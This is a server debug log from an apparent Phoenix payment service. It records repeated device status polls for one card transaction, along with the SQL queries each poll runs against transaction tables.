SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:21:36.644000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46368] QUERY OK source="cloud_transaction" db=2.2ms idle=1695.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:21:36.644000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46368] Sent 200 in 21ms
[Thu Sep  3 10:21:41.735000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:55370] POST /api/device/status
[Thu Sep  3 10:21:41.735000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:55370] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:21:41.735000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:55370] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:21:41.735000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:55370] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:21:41.748000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:55370] QUERY OK source="pos_transaction" db=12.6ms idle=1789.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:21:41.750000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:55370] QUERY OK source="pos_temp_transaction" db=1.3ms idle=1802.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:21:41.753000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:55370] QUERY OK source="pos_failed_transaction" db=2.7ms idle=1803.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:21:41.754000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:55370] QUERY OK source="cloud_transaction" db=0.6ms idle=1728.3ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:21:41.755000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:55370] Sent 200 in 19ms
[Thu Sep  3 10:21:46.692000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:55374] POST /api/device/status
[Thu Sep  3 10:21:46.695000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:55374] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:21:46.695000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:55374] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:21:46.695000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:55374] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:21:46.712000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:55374] QUERY OK source="pos_transaction" db=16.9ms idle=1748.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:21:46.714000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:55374] QUERY OK source="pos_temp_transaction" db=0.6ms queue=0.9ms idle=1765.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:21:46.720000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:55374] QUERY OK source="pos_failed_transaction" db=5.2ms idle=1767.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:21:46.722000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:55374] QUERY OK source="cloud_transaction" db=1.7ms idle=1773.4ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:21:46.722000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:55374] Sent 200 in 29ms
[Thu Sep  3 10:21:51.752000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34818] POST /api/device/status
[Thu Sep  3 10:21:51.752000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:34818] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:21:51.752000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34818] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:21:51.753000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34818] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:21:51.775000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34818] QUERY OK source="pos_transaction" db=22.3ms idle=1804.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:21:51.776000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34818] QUERY OK source="pos_temp_transaction" db=0.6ms queue=0.1ms idle=1826.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:21:51.779000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34818] QUERY OK source="pos_failed_transaction" db=2.7ms idle=1716.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:21:51.783000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34818] QUERY OK source="cloud_transaction" db=3.5ms idle=831.2ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:21:51.784000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34818] Sent 200 in 31ms
[Thu Sep  3 10:21:56.903000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34824] POST /api/device/status
[Thu Sep  3 10:21:56.905000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:34824] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:21:56.905000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34824] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:21:56.907000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34824] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:21:56.921000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34824] QUERY OK source="pos_transaction" db=13.8ms queue=0.1ms idle=1345.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:21:56.923000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34824] QUERY OK source="pos_temp_transaction" db=1.1ms idle=1360.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:21:56.931000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34824] QUERY OK source="pos_failed_transaction" db=4.6ms idle=1364.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:21:56.932000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34824] QUERY OK source="cloud_transaction" db=0.7ms idle=1369.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:21:56.933000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34824] Sent 200 in 29ms
[Thu Sep  3 10:22:01.922000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:47796] POST /api/device/status
[Thu Sep  3 10:22:01.925000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:47796] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:22:01.925000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:47796] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:22:01.926000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:47796] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:22:01.959000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:47796] QUERY OK source="pos_transaction" db=32.4ms queue=0.1ms idle=1362.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:22:01.961000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:47796] QUERY OK source="pos_temp_transaction" db=1.5ms queue=0.1ms idle=1395.2ms
